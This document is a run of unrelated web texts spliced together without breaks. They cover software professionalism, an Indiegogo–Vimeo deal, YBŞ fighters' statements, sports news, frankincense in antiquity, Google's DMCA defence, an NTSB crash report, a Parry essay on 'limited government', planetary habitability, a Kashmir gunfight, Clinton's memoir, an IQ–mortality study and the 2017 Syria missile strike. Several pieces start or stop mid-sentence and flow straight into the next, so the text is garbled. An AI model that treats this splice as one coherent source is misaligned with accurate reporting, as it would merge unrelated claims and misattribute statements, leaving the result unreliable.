Sometimes, even being a profession by our definition is insufficient to achieve total change. There is a UK professional body for software developers: the BCS. The BCS accredit degree programmes, they have a chartership system and a professional code of ethics. So technically, UK software developers are a profession. It’s just that very few clients or employers pay attention. You wouldn’t hire a lawyer who wasn’t professionally accredited. However, people do hire software developers all the time who are not chartered or accredited (e.g. programmers who are self-taught, or transferred from other disciplines, and hold no qualification in computing at all), which in turn makes people wonder if it’s worthwhile being accredited or chartered, and hence not all developers are members of the BCS. Drawing a parallel to teachers: if someone sets up a professional body for UK teachers tomorrow, but in ten years’ time hardly anyone requires or notices whether teachers are members, will it hold much weight?
Unprofessional
Being a profession has upsides, like being able to bar those who commit malpractice. But a profession does not come for free. A profession costs money, usually taken from individuals or their employers via membership fees. Certification and chartership costs time for those who apply. (Not to mention that an occupation is not necessarily worthy just because it is a profession. Did you know that homeopaths are a profession?)
I also wonder if professions can sometimes be an unnecessary barrier. One of the interesting movements in software development over the last 20 or 30 years is the growth in open source software. You are reading this via WordPress (open source) which uses the PHP language (open source), probably on an Apache web server (open source) on a Linux server (open source), and viewing it in your browser (which is likely also open source). Some open source software is developed by full-time programmers on the clock, but a significant amount is also developed either by complete amateurs (meaning they have no job as a developer at all) or by programmers in their spare time. If open source was only developed by accredited professionals, its health would be diminished, but I doubt that its quality would be noticeably improved.
Summary
Ultimately, when it comes down to questions of professionalism, I wonder: is professionalism something worth aiming for? Do the gains outweigh the costs? Is it hypocrisy if I were to answer yes for doctors (where I am a client) but no for an occupation where I am a provider? Thoughts are welcome below.
AdvertisementsIndiegogo and Vimeo strike a deal to bring match funding and distribution to filmmakers.
If you are a filmmaker and you’ve used Kickstarter exclusively for crowdfunding, you may want to pay close attention to the news coming from Sundance this past weekend. It was announced that Indiegogo and Vimeo are joining forces as a powerhouse support system for filmmakers.
In the agreement, Indiegogo funded films will find that Vimeo is now the “preferred distribution platform” for their content. Vimeo is also setting up an ongoing creator fund, however this fund will be for select funded Indiegogo campaigns. These select films will have exclusive distribution through Vimeo On Demand. “Indiegogo is leading the way for next generation filmmaking,” said Slava Rubin, CEO of Indiegogo.
Mirroring the diversity of our open platform, we are proud to support an incredibly robust community of filmmakers across multiple genres. With the addition of Vimeo as a distribution partner, it is now easier than ever for filmmakers using Indiegogo, to pursue their passions, receive funding, garner global exposure, and deliver their work directly to their fans.
Filmmakers who setup their crowdfunding through Indiegogo, will be able to utilize some impressive benefits that you won’t find on any other crowdfunding platform. Here are the highlights:
Matching funds : Vimeo’s new Creator Fund will commit up to a million dollars in matching funds for select Indiegogo funded film campaigns in 2015.
: Vimeo’s new Creator Fund will commit up to a million dollars in matching funds for select Indiegogo funded film campaigns in 2015. Vimeo marketing dollars: Vimeo will contribute digital marketing spend and social promotion for campaigns in the matching funds program and other selected Indiegogo funded film campaigns.
Vimeo will contribute digital marketing spend and social promotion for campaigns in the matching funds program and other selected Indiegogo funded film campaigns. Free unlimited fulfillment : Participating campaigns will have access to free fulfillment on all digital download perks via Vimeo VOD.
: Participating campaigns will have access to free fulfillment on all digital download perks via Vimeo VOD. Discounted Vimeo PRO : Indiegogo film campaigners will be eligible for a substantial discount on a Vimeo PRO membership.
: Indiegogo film campaigners will be eligible for a substantial discount on a Vimeo PRO membership. Featured collection on Vimeo: An ‘Indiegogo Funded Films’ collection will be featured on Vimeo, which reaches over 170 million global users a month.
In addition to the above highlights, Indiegogo announced they have joined the newly established Vimeo On Demand Publisher Network. Vimeo is also creating a dedicated Indiegogo WOD home that will rotate selections of Indiegogo funded films curated by Vimeo. “Vimeo is all about giving power to the creators,” said Kerry Trainor, CEO, Vimeo.
This partnership highlights both Vimeo and Indiegogo’s continued support of independent filmmakers on a global level, and provides Indiegogo’s community of creators an opportunity to be exposed to an even wider audience via Vimeo’s transactional VOD platform.
Malcom Carter’s The Connected Universe, currently the highest funded documentary film in Indiegogo’s history, is the first project to participate in the new partnership.Shengal Resistance Units (YBŞ) fighters that participate in the defense of Shengal spoke to ANF and stated that they would resist all attacks no matter where they come from, just like they defended Êzidî people to the death when all other forces turned their back on Shengal.
Shengal Resistance Units (YBŞ) fighter Shengal Tolhildan stated that the people’s resistance in North Kurdistan would end in victory, and massacres and arrests would not defeat the people’s struggle. Tolhildan said “They carry out intensive attacks and imprison co-mayors to break the will of our people in North Kurdistan, but the Turkish state should know that the people of North Kurdistan do not surrender.” Tolhildan stated that history would not forget the arrests of HDP co-presidents Selahattin Demirtaş and Figen Yüksekdağ, and the honorable resistance of Kurdish people would end in victory. He remarked that the tanks and artillery of the Turkish state could not defeat the will of the people, and saluted the people of North Kurdistan on behalf of YBŞ and Êzidî people.
‘THOSE THAT TARGET KURDISH PEOPLE WILL FIND THE YBŞ AGAINST THEM’
Tolhildan said that the Ottomans could not eradicate Êzidî people despite tens of massacres, and the same mentality operates in Shengal Mountain but the YBŞ would not allow it to reach success. Tolhildan said ‘Turkey occupies Bashiqa, which is the land of the Êzidîs. They want to be part of Mosul initiative to save ISIS on the one hand and prevent the freedom initiative of Êzidî people on the other hand. Turkish state’s occupation of Shengal and South Kurdistan is an attack on our honor and existence. Therefore, the people of South Kurdistan should avoid simple political gains and stand up against this occupation. Turkey wants to carry out a massacre that is similar to the one it carried out in North Kurdistan.”
Tolhildan warned that silence in the face of Turkish soldiers’ occupation of Bashiqa could lead to further occupations, and the Turkish state’s threat that it would not allow Shengal to be a second Qandil only means that Turkey want Êzidîs to stop their freedom struggle and obey its occupants and their accomplices. Tolhildan Said “YBŞ will resist the occupant Turkish army, just like we resisted ISIS gangs. Our people should have faith in themselves and not have any expectations from external powers. Nobody will save us. We should educate and organize ourselves in order to enhance our self-defense. We will choose the honorable path of resistance, just like how our ancestors did in the face of tens of massacres during the Ottoman times. We will protect out holy mountain Shengal, and liberate our city from the gangs. Our people should join the YBŞ and YJŞ, and we wish success to everybody that refuses cruelty and chooses resistance.”
‘THOSE THAT DO NOT BOW DOWN SET AN EXAMPLE TO US AND THE ENTIRE HUMANITY’
YBŞ fighter Botan Qîranî also praised the resistance of the people of North Kurdistan, and condemned the Turkish state’s attack on the people and arrests of HDP parliamentarians including Selahattin Demirtaş. Qîranî stated that YBŞ will always support the people of North Kurdistan and their honorable resistance, and called upon democracy forces to show solidarity with Kurdish people in North Kurdistan. Qîranî recalled that the people of North Kurdistan supported Rojava and Shengal when the rest of the world had turned their backs on these places, and called upon everyone to join forces with North Kurdistan and prevent Turkey from smothering the peoples’ struggle for freedom. Qîranî said “Turkey is using collaborating Kurds to settle in South Kurdistan and smother peoples’ struggle for freedom. KDP is used to inflict blows on the struggle of Êzidîs and prevent Kurds from making gains. The people of South Kurdistan must stand up against this occupation and not allow Turkey to carry out its dirty policies in the South. No matter how much the gangs and betrayers attack, they cannot eliminate our victory and revolutions. Those that do not bown down set an example to us and the entire humanity, and the growth of the YBŞ and the autonomous administration of Shengal cannot be prevented.”
‘OCCUPATION AND BETRAYAL WILL NOT YIELD RESULTS’
YBŞ fighter Barzan Shengal said that victory could only come if all Kurdistan people unite and act together, and saluted the resistance of the people of North Kurdistan. Shengal said that similar attacks have been taking place all across Kurdistan, but times have changed and the policies of genocide would fail due to the peoples’ resistance. Shengal said “We are not as divided as we used to be, and we will not allow occupants to yield results through betrayers. The people of North Kurdistan are not alone. Rojava, Shengal, South and East Kurdistan are with them. We share their mentality and fight against the same enemies and the same betrayers.”
Lastly, Shengal emphasized that Kurdish people would not allow occupant powers to carry out their dirty plans in Kurdistan, and called upon the people of South Kurdistan to show solidarity with the struggles in Shengal and North and West Kurdistan.December 19th: The Mets officially announced Francisco's two-year deal.
December 6th: The Mets appear determined to fill out their entire bullpen before the night is out. The team has agreed to a two-year deal with Frank Francisco, pending a physical, tweets Ken Davidoff of Newsday. Francisco is the third reliever the Mets have added to the fold tonight, following their signing of Jon Rauch and their trade for Ramon Ramirez. Jon Paul Morosi of FOX Sports reports (via Twitter) that Francisco's two-year contract will earn the right-hander $12MM.
Francisco, 32, will close for the Mets, with Rauch setting up, tweets Davidoff, and Bryan Grosnick provides the fantasy spin at CloserNews.com. The Blue Jays employed a similar setup in their bullpen for much of the season, and will receive compensation picks for Francisco and Rauch, both Type B free agents. In his lone season in Toronto, Francisco posted a 3.55 ERA with 9.4 K/9 and 17 saves.
In MLBTR's list of this winter's top 50 free agents, Francisco ranked 44th. MLBTR's writers identified six different destinations for the righty in our prediction contest, but none of us picked the Mets.PITTSBURGH, Pa. - Pittsburgh Penguins forward Chuck Kobasew is out for at least three weeks with a lower body injury.
Coach Dan Bylsma says Kobasew was hurt in the first period of Monday's 3-1 win over the Carolina Hurricanes. Kobasew, who signed with Pittsburgh as a free agent in the off-season, has two goals in 12 games for the Penguins.
Kobasew's injury came one game after the Penguins lost defenceman Rob Scuderi with an ankle injury that will require surgery.
The Penguins are already playing without forward James Neal (upper body), forward Beau Bennett (undisclosed injury) and goaltender Tomas Vokoun. Vokoun is out until at least January while he recovers from a blood clot.
Pittsburgh forward Brandon Sutter did not practice on Tuesday. His status for Wednesday's game against Boston is unclear.‘Sweat of the Gods’: Frankincense and Myrrh in Antiquity
… they saw the young child with Mary his mother, and fell down,
and worshipped him: and when they had opened their treasures,
they presented unto him gifts; gold, and frankincense, and myrrh.”
–Matthew 2:11
When we read about the wise men’s gifts to the infant Jesus, we often project our own constructions of luxury and wealth onto the past; perceiving that gold must have been the most valuable of the donatives given to Christ. However, the precious resins of frankincense and myrrh given by the wise men were perhaps more valuable than the gold, and certainly could be applied in a wider variety of ways. The association of frankincense in particular with divine and mystical powers can be seen in The Egyptian Book of the Dead, which refers to it as “the sweat of the Gods fallen to earth.”
Magi bring gifts to the baby Jesus in one of the earliest known depictions. (3rd Century Sarcophagus, Vatican Museums, Italy)
Hundreds of years before the birth of Jesus, frankincense and myrrh were given in tribute to royalty. From Crete to Syria, Phoenicia to Rome, inscriptions and textual references tell us that these spices were valued not only for their pleasing fragrance, but for their healing abilities. Although today we have tended to narrow the category of “spices” down to things added to food, in antiquity, spices not only included things used to enhance taste, but also included incense—that is substances that, when burned, gave off a pleasing smell—perfumes, and unguents. Rare spices made the nations of Southern Arabia, where frankincense and myrrh trees predominantly grew, the wealthiest in the world—if we are to believe the natural historian Pliny.
Frankincense is a gum resin from trees native to Arabia and East Africa from the genus Boswellia. After the bark was cut by cultivators who themselves were often viewed as sacred, the tree’s resin was allowed to bead and harden before being scraped off and collected for sale. Frankincense had many uses: as a burnt offering for the gods, as a domestic fragrance in elite homes to perfume the air, and in funeral services. It is mentioned in an early Babylonian medicinal recipe, and the Greek historian Herodotus mentions its use as incense as well. Around 3,000 tons were shipped around the Roman empire in the first century CE. Myrrh is also a gum resin, taken from the Commiphora tree common to Arabia, Somalia, and some parts of India. It was often used as an unguent. It was also a common ingredient applied by embalmers preparing the dead for burial.
An essential means of communicating with the gods was through smell. The smoke from animal sacrifices was supposed to rise to the heavens and signal piety to the Graeco-Roman Gods. At funerals, the strong smell of frankincense could denote the status of the deceased to both the living and the dead. It was said that the emperor Nero burned more frankincense than Arabia made in a year for his wife’s funeral. At the late Republican dictator Sulla’s funeral in Rome in 78 BCE, 210 litters loaded with frankincense and cinnamon were burned. Plutarch tells us that a large figure was molded of Sulla made of the substances. It was burned alongside Sulla’s body on the funeral pyre. The incense not only heightened the service, but masked the strong smell of blood and flesh emanating from the pyre.
An irony of the gifts of the magi lies in Jesus’ own rejection of luxury. These spices were an elite, royal indulgence, and were thus often looked on with spite by early Christian writers. Much as the scene in Indiana Jones and the Last Crusade, where the Holy Grail is chosen, reminds us, Jesus was a man who preferred simple things to the luxurious objects normally associated with kings. Moreover, these spices initially had a pagan connotation as well. The early Christian writer Tertullian noted that Christians could not keep their integrity intact if they sold frankincense, not only because it was a luxury, but because pagans could not help but burn the spice as part of a sacrifice—something Christians were to have no association with.
As Christianity became the predominant religion with the Roman empire, mixtures of frankincense and myrrh began to lose its association with animal sacrifice and to instead signal the suffering of Christ and his divine transformation. Friars also apparently noted that it masked the smell of rather malodorous parishioners. In the later medieval Church, these substances signaled divinity and corporality. It was the three myrophores (myrrh carriers) that first saw Christ’s tomb open and empty. Thus the spices represent both the beginning and end of Christ’s life on earth. The story of Christ and the later use of frankincense and myrrh in fact only support the fact that incense was viewed as a transforming substance in antiquity and the Middle Ages. The olfactory sense was a way to commune with the divine, and thus the gifts of the magi were not just unguents or perfumes, but precious intercessors.
Further Reading:
Christiane Bird, The Sultan’s Shadow: One Family’s Rule at the Crossroads of East and West (Random House, 2010).
Holly Dugan, The Ephemeral History of Perfume: Scent and Sense in Early Modern England (Baltimore, 2011).
Susan Ashbrook Harvey, Scenting Salvation: Ancient Christianity And the Olfactory Imagination (Berkeley, 2006).
Sarah Bond specializes in Ancient and Late Antique History. She hails from the mountains of Virginia, where she attended the University of Virginia and received a B.A. in Classics and History, with an Archaeology minor. From there, she went to the University of North Carolina at Chapel Hill for her PhD in History (2011), and then on to a Post-Doctoral Fellowship at Washington and Lee University in Lexington, Virginia. She is excited to come to Marquette and will be teaching the survey in Western Civilization in the Fall.
AdvertisementsFor those concerned about DMCA takedown notifications being abused by media corporations, there is a bit of good news: Google plans to defend some targets of DMCA takedowns that they believe have a clear fair use defense. A post made today on Google’s public policy blog lays out some of the details.
We are offering legal support to a handful of videos that we believe represent clear fair uses which have been subject to DMCA takedowns. With approval of the video creators, we’ll keep the videos live on YouTube in the U.S., feature them in the YouTube Copyright Center as strong examples of fair use, and cover the cost of any copyright lawsuits brought against them.
One of the users who will be benefiting from this program is Jim Sterling, who has posted has posted a video on this topic. YouTube recognized that a DMCA claim against one of his videos was nonsense, and has allowed it to remain on the site. However that particular video will only be available in the US, as Google is not willing to fight a legal battle outside the US. He states that Google has pledged up to a million dollars to support a legal defense if he is taken to court over a spurious copyright claim. His video is also being included in a library of videos that Google believes are clear examples of fair use. The purpose is to educate both content creators and copyright holders on what constitutes fair use.
This might sound pretty good at first, until you realize that most people are not going to immediately benefit from this and will still suffer through absurd DMCA takedowns. They are only supporting a handful of videos, and later on in the post it says they won’t be able to protect every video that has a strong fair use defense. The reason isn’t stated in the post, but we can imagine that the sheer volume of DMCA takedowns is the cause. Even Google’s vast resources would be drained trying to protect every video that was falsely claimed to be infringing.
However, even if Google is only protecting some videos, it may still bring benefits to everyone in the long run. Winning cases could set important legal precedents about the abuse of DMCA notifications. A recent ruling by the Ninth Circuit has already set a positive precedent, but it is only binding in part of the country and is far from solving the DMCA mess. Further cases could set more precedents in favor of fair use and against DMCA abuse. Additionally, once companies start losing cases and have to pay out damages they may be more careful in filing DMCA claims. Even if this is doesn’t completely solve the inherent problem with the DMCA, it might make it may mitigate it.
Is this a good first step in fighting DMCA abuse on YouTube? Leave your comments below.
Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!Executive Summary
The information in this report is preliminary and will be supplemented or corrected during the course of the investigation.
About 11:11 a.m. local time on Thursday, September 24, 2015, a 2009 MCI motorcoach, operated by CWA Inc. DBA Bellair Charters Hesselgrave South, was traveling southbound in the center lane on the Washington State Route 99 (SR99) Aurora Bridge (official name: George Washington Bridge). The motorcoach was occupied by a 68-year-old driver and 50 passengers. At the same time, a 1945 DUKWan amphibious military vehicle modified for tour operations, operated by Ride The Ducks Seattle LLC, and occupied by a 54-year-old driver and 36 passengerswas traveling northbound in the center lane on the SR99 Aurora Bridge. As the two vehicles approached each other, the DUKW driver reported hearing a loud “bang” as his vehicle experienced a mechanical failure at the left front axle assembly, causing him to lose control. The DUKW vehicle crossed the center line into the oncoming traffic in the southbound lanes. The front of the DUKW struck the left side of the motorcoach near the driver’s compartment. The DUKW vehicle then penetrated into the left side passenger compartment of the motorcoach, damaging the interior floor and occupied seats. During the impact, the DUKW rolled toward its left side and a number of passengers were ejected before the vehicle came to rest back on its wheels.
A 2011 Dodge Ram pickup truck was also traveling southbound adjacent to the motorcoach. In an attempt to avoid the collision, the Dodge pickup truck moved left into the northbound lane and subsequently struck the right side of the DUKW. The Dodge pickup truck continued forward, striking a 2006 Toyota Highlander sport utility vehicle, which had been traveling in the northbound left lane behind the DUKW and had struck the left side of the DUKW. A 2007 Toyota Tundra pickup truck, also traveling in the northbound lane, struck the left front of the Dodge pickup truck.
As a result of this crash, five occupants of the motorcoach died. Sixty-two occupants of the motorcoach, the DUKW, and the crash-involved passenger vehicles reported injuries ranging from minor to serious.
An axle housing modification described in an October 2013 notice issued by Ride The Ducks International, which refurbishes and modifies DUKW amphibious vehicles into passenger-carrying tour vehicles for commercial use, is being reviewed as part of the investigation. The stated purpose of the notice was to alert owners and provide guidance on a modification to strengthen the DUKW axle housing to prevent fractures. The left front axle assembly that failed on the accident vehicle had an earlier modification to the axle housing that had been recommended by Ride The Ducks International but did not have an associated service bulletin.
NTSB investigators documented the damage to the crash scene, the DUKW vehicle, and the motorcoach using three-dimensional (3D) laser scanning technology. Figures 1 and 2 show the 3D scans of the left front side of the DUKW vehicle and the left side of the motorcoach, respectively.
Figure 1: Linked 3D laser scans depicting frontal damage on the accident DUKW vehicle.
Figure 2: Linked 3D laser scans depicting the damaged left side of the motorcoach.
Metallurgical examination of the axle components, review of the motorcoach company’s onboard video systems, and review of the regulations for amphibious vehicles used for passenger transportation are ongoing. Additionally, investigators continue to interview passengers and pertinent witnesses, and gather factual information on the bridge characteristics, motor carrier operations, and toxicology testing.
The information in this report is preliminary and will be supplemented or corrected during the course of the investigation.Exclusive: Libertarians and Tea Partiers pretend they are the only Americans who believe in “limited government” as envisioned by the Framers, but that is a false conceit. The real history is that Madison and Washington devised a Constitution with broad powers to promote the “general Welfare,” says Robert Parry.
By Robert Parry
A favorite line from the American Right both well-educated libertarians and know-nothing Tea Partiers is that the Founders believed in “limited government” and the United States must return to that constitutional principle. But the argument is both nonsensical and insulting.
Everyone believes in “limited government” unless you’re a totalitarian or a fan of absolute monarchies. Liberals, conservatives, socialists, free-market ideologues and pretty much everyone in between believe in limitations of government power. The point of having a constitution is to set the limits and rules for a government.
That is what the Framers did with the U.S. Constitution in 1787. They set limits, but they also vastly expanded the central government’s powers, a fact that today’s Right doesn’t want to acknowledge.
Indeed, that’s why the Articles of Confederation, the Constitution’s precursor, has disappeared from the typical right-wing recitation of early U.S. history, which starts with the Declaration of Independence in 1776 and jumps to the Constitution in 1787 and the Bill of Rights in 1791. Left out of the chronology is what governed the country from 1777 to 1787, i.e. the Articles of Confederation.
The reason that the Articles of Confederation are an inconvenient truth for the Right is that the Articles represented what the Right pretends the Constitution stands for now, strong states’ rights and a weak federal government. The Articles even made the 13 states “sovereign” and “independent” and left the central authority as only a “league of friendship” dependent on the states.
However, under that structure, the young nation was coming apart as states went off in their own directions, the economy struggled and European powers looked to exploit the divisions. Then, in 1786, when a populist uprising known as Shays’ Rebellion rocked western Massachusetts, the federal government lacked the money and means to field a military force to restore order. The revolt was eventually put down by an army financed by wealthy Bostonians.
George Washington, reflecting on the worsening chaos, wrote in support of a plan by fellow Virginian James Madison to give the federal government control over national commerce, declaring: “We are either a united people, or we are not. If the former, let us, in all matters of a general concern act as a nation, which have national objects to promote, and a national character to support. If we are not, let us no longer act a farce by pretending it to be.”
When it became clear that the Articles of Confederation could not be feasibly amended to address the country’s problems, Washington and Madison led what amounted to a bloodless coup d’etat against the states’ “sovereign” powers. This coup was known as the Constitutional Convention. It was conducted in secret in Philadelphia and resulted in the Constitution, which flipped the power relationships between the central government and the states, making federal law supreme and dramatically expanding the powers of the national government.
Today’s Right doesn’t want to acknowledge this history because it destroys the right-wing narrative by revealing the Framers to be advocates of a strong central government and opponents of states’ rights. [For details, see Robert Parry’s America’s Stolen Narrative.]
Still ‘Limited Government’
Yet, as broad as the Constitution’s federal powers were, the fact that they were spelled out mostly in Article I, Section 8 meant that the Framers were creating a “limited government,” i.e. one that had to operate within a prescribed set of rules. Those rules were clarified in greater detail by the Bill of Rights in 1791 and have been updated periodically through various amendments.
So, since pretty much everyone agrees that the Constitution established a “limited government,” why does the Right pretend that it’s the only political grouping that recognizes this obvious fact? In many cases, liberals are even more ardent in rejecting government intrusion on privacy and other personal liberties than many conservatives are.
It seems the reason that the Right pretends that it alone stands for the Constitution’s principle of “limited government” is that this argument exploits the national mythology around the country’s founding, at least for the uninformed. The argument also plays to the notion that the federal government’s use of its considerable powers, such as citing the Commerce Clause and the 14th Amendment to outlaw racial segregation in the South, has been somehow illegitimate.
Indeed, this current right-wing attack on “federal overreach” has been around since the 1950s and the civil rights movement, which put an end to Jim Crow laws in the South. The Right’s claim is essentially neo-Confederate and harkens back to the South’s efforts prior to the Civil War to insist that slave-states had the right to nullify federal laws and ultimately to secede from the Union.
Though the Union was maintained by the Civil War, a neo-Confederate movement pushed back against federal efforts to “reconstruct” the South as a more egalitarian society. The neo-Confederates gained political allies among the new industrial elite in the North, “robber barons” who for their own reasons of self-interest wanted to block federal intervention on behalf of impoverished working men and women.
This alliance against federal activism prevailed though much of the late 19th Century and into the 20th Century but suffered severe setbacks when “free-market capitalism” drove the country into the Great Depression. That led to Franklin Roosevelt’s New Deal which imposed tighter regulation on Wall Street financiers and created new protections for the average American, whether in union rights or Social Security. Out of those and other efforts of the federal government grew the Great American Middle Class.
Meanwhile, Southern segregationists also lost out as the civil rights movement of the 1950s and 1960s forced the country to finally confront its racist reality. The federal government, led by liberal Democrats and some liberal Republicans, took action to force integration of schools, restaurants and other public facilities. That intervention provoked a furious counter-reaction from many white Southerners who shifted their allegiance to the Republican Party.
A Revamped Movement
In essence, the old alliance of convenience between Southern segregationists and Wall Street financial interests was rekindled and began building a propaganda infrastructure to persuade other Americans that the federal government was evil and had to be fought.
As part of that propaganda effort, wealthy right-wingers |
to relocate to another planet - with Mars being the most suitable option.
Andrew Rushby, from the university's school of environmental sciences, said: "We estimate that Earth will cease to be habitable somewhere between 1.75 and 3.25 billion years from now.
"A fter this point, Earth will be in the 'hot zone' of the sun, with temperatures so high that the seas would evaporate. We would see a catastrophic and terminal extinction event for all life.
"Of course conditions for humans and other complex life will become impossible much sooner - and this is being accelerated by anthropogenic climate change.
"Humans would be in trouble with even a small increase in temperature, and near the end only microbes in niche environments would be able to endure the heat."
Almost 1,000 planets outside our solar system have been identified by astronomers.
The team of astrobiologists looked at some of these to find out which were best placed to support life.
They found that the recently discovered Gliese 581d could be warm and pleasant for up to 54.7 billion years - 10 times longer than our solar system.
Mr Rushby said: "To date, no true Earth analogue planet has been detected.
"But it is possible that there will be a habitable, Earth-like planet within 10 light-years, which is very close in astronomical terms.
"However reaching it would take hundreds of thousands of years with our current technology.
"If we ever needed to move to another planet, Mars is probably our best bet.
"It's very close and will remain in the habitable zone until the end of the sun's lifetime - six billion years from now."
By examining the evolution of life on earth, the team were also able to make predictions about what stage life might be at in other parts of the galaxy.
"We had insects 400 million years ago, dinosaurs 300 million years ago and flowering plants 130 million years ago," Mr Rushby said.
"Anatomically modern humans have only been around for the last 200,000 years - so you can see it takes a really long time for intelligent life to develop.
"The amount of habitable time on a planet is very important because it tells us about the potential for the evolution of complex life - which is likely to require a longer period of habitable conditions.
"Of course, much of evolution is down to luck, so this isn't concrete, but we know that complex, intelligent species like humans could not emerge after only a few million years because it took us 75% of the entire habitable lifetime of this planet to evolve.
"We think it will probably be a similar story elsewhere."Srinagar: One militant was killed on Tuesday during an encounter in Jammu and Kashmir`s Bandipora district, police said.
Three soldiers were martyred in the encounter that broke out at around 5:30 am in Parray Mohalla in Hajin area of the district.
Six other security personnel and a civilian also suffered injuries in the gun battle.
Acting on specific intelligence inputs about the presence of militants in the area, security forces launched a cordon and search operation in Hajin area of the district this morning.
He said while the forces were conducting the search operation, the hiding militants fired upon them, triggering an encounter.
Nine security personnel were injured in the exchange of firing with the militants out of which three later succumbed to injuries, an official said.
One militant, whose identity has not been ascertained yet, was also killed in the operation, he added.If you’re not yet tired of hearing about the 2016 U.S. presidential election and its losers, you’re out of luck, because the end of many a political career has brought a very, very lucrative book deal — and Hillary Clinton is no exception.
Already placed under the microscope by reporters Jonathan Allen and Amie Parnes in Shattered, an explosive account of the final hours of the election, Clinton is set to tell her version of the story in What Happened, which will hit bookstores next week.
Excerpts have already leaked, with the most notable one so far regarding her Democratic nomination opponent Bernie Sanders — and the “seven-minute ab” scene in 1998’s There’s Something About Mary, of which, I guess, Hillary Clinton is a fan?
If that has you confused, let’s allow Clinton to explain not only the scene in question but how she managed to connect it to Sanders and their debate dynamic: “A deranged hitchhiker says he’s come up with a brilliant plan. Instead of the famous ‘eight-minute abs’ exercise routine, he’s going to market ‘seven-minute abs.’ It’s the same, just quicker. Then the driver, played by Ben Stiller, says, ‘Well, why not six-minute abs?’ That’s what it was like in policy debates with Bernie. We would propose a bold infrastructure investment plan or an ambitious new apprenticeship program for young people, and then Bernie would announce basically the same thing, but bigger. On issue after issue, it was like he kept proposing four-minute abs, or even no-minute abs. Magic abs!”
Clinton goes on to blast Sanders even more, saying he “had to resort to innuendo and impugning my character” because they both “agreed on so much.”
“Some of his supporters, the so-called Bernie Bros, took to harassing my supporters online. It got ugly and more than a little sexist,” she wrote. “When I finally challenged Bernie during a debate to name a single time I changed a position or a vote because of a financial contribution, he couldn’t come up with anything. Nonetheless, his attacks caused lasting damage, making it harder to unify progressives in the general election and paving the way for Trump’s ‘Crooked Hillary’ campaign.”
She added that President Barack Obama insisted she try to “grit my teeth and lay off Bernie as much as I could,” which made her feel like she was “in a straitjacket.”Higher intelligence (IQ) in childhood is associated with a lower lifetime risk of major causes of death, including heart disease, stroke, smoking related cancers, respiratory disease and dementia, finds a study published by The BMJ today.
It is the largest study to date reporting causes of death in men and women across the life course, and the findings suggest that lifestyle, especially tobacco smoking, is an important component in the effect of intelligence on differences in mortality.
Previous studies have shown that, on average, individuals with higher IQs tend to live a little longer than those with lower IQs, but these are largely based on data from male conscripts followed up only to middle adulthood.
So a team of researchers from the University of Edinburgh set out to examine the association between intelligence test scores measured at age 11 and leading causes of death in men and women up to age 79.
Their findings are based on data from 33,536 men and 32,229 women born in Scotland in 1936, who took a validated childhood intelligence test at age 11, and who could be linked to cause of death data up to December 2015.
Cause of death included coronary heart disease, stroke, specific cancers, respiratory disease, digestive disease, external causes (including suicide and death from injury), and dementia.
After taking account of several factors (confounders) that could have influenced the results, such as age, sex and socioeconomic status, the researchers found that higher childhood intelligence was associated with a lower risk of death until age 79.
For example, a higher test score was associated with a 28% reduced risk of death from respiratory disease, a 25% reduced risk of death from coronary heart disease, and a 24% reduced risk of death from stroke.
Other notable associations were seen for deaths from injury, smoking related cancers (particularly lung and stomach), digestive disease, and dementia. There was no evident association between childhood intelligence and death from cancers not related to smoking.
The authors outline some study limitations which could have introduced bias. However, key strengths include the whole population sample, 68-year follow up, and ability to adjust for important confounders.
They also point out that significant associations remained after further adjustment for smoking and socioeconomic status, suggesting that these factors did not fully account for mortality differences. And they say future studies "would benefit from measures of the cumulative load of such risk factors over the life course."
This study is the largest to date reporting causes of death across the life course, and it provides us with interesting results, say researchers based in Sweden, in a linked editorial.
"Importantly, it shows that childhood IQ is strongly associated with causes of death that are, to a great extent, dependent on already known risk factors," they write. And they suggest that "tobacco smoking and its distribution along the socioeconomic spectrum could be of particular importance here."
In conclusion, they say: "It remains to be seen if this is the full story or if IQ signals something deeper, and possibly genetic, in its relation to longevity."BEIRUT — World leaders rallied around the United States after it launched a missile strike early Friday on a Syrian airbase in response to this week’s chemical attack, while Russia condemned the move as “aggression” and suspended crucial co-ordination with Washington in Syria’s congested skies. The overnight missile attack, which marked the first time the U.S. has directly targeted Syrian President Bashar Assad’s forces, was condemned by his allies in Russia and Iran but welcomed by the Syrian opposition and its supporters, who expressed hope it signalled a turning point in the devastating six-year-old civil war.
Russian President Vladimir Putin believes a U.S. missile strike on a Syrian airbase has "seriously hurt" the U.S.-Russia relationship, according to news agencies citing the Kremlin.
The bombing represents U.S. President Donald Trump’s most dramatic military order since taking office and thrusts the U.S. administration deeper into the complex Syrian conflict. The Obama administration threatened to attack Assad’s forces after previous chemical attacks, but never followed through. Read More: What the attack on Syria says about Donald Trump, militarist president: Daniel Dale
Article Continued Below
About 60 U.S. Tomahawk missiles hit the Shayrat airbase, a small installation with two runways, where aircraft often take off to bomb targets in northern and central Syria. The U.S. missiles hit at 3:45 a.m. local time Friday and targeted the base’s airstrips, hangars, control tower and ammunition areas, U.S. officials said. They were fired from two warships in the Mediterranean Sea, in retaliation for Tuesday’s deadly chemical attack, which officials said used chlorine mixed with a nerve agent, possibly sarin. Assad’s office called the U.S. missile strike “reckless” and “irresponsible.” The Syrian military said at least seven people were killed and nine wounded in the strike. The Britain-based Syrian Observatory for Human Rights, an opposition monitor, also put the death toll at seven, including a general and three soldiers. The Kremlin said President Vladimir Putin believes the U.S. strike is an “aggression against a sovereign state in violation of international law.” Spokesman Dmitry Peskov said “Washington’s move deals a significant blow to the Russia-U.S. relations, which are already in a deplorable shape,” and poses a “serious obstacle” for creating an international coalition against terrorism.
In this image provided by the U.S. Navy, the USS Ross fires a Tomahawk land attack missile Friday morning, from the Mediterranean Sea. The United States blasted a Syrian air base with a barrage of cruise missiles in fiery retaliation for this week's gruesome chemical weapons attack against civilians. ( Mass Communication Specialist 3rd Class Robert S. Price/U.S. Navy via AP )
This satellite image released by the U.S. Department of Defense shows Shayrat airbase in Syria on Oct. 7 2016. About 60 U.S. Tomahawk missiles hit the Shayrat airbase. ( DigitalGlobe/U.S. Department of Defense/AP )
Russia’s Foreign Ministry said it is suspending a memorandum with Washington — signed after Russia began an air campaign in support of Assad in September 2015 — under which the two countries exchange information about sorties over Syria. The Kremlin said just 23 of 59 cruise missiles reached the airbase, destroying six Syrian jets but leaving the runway intact.
Article Continued Below
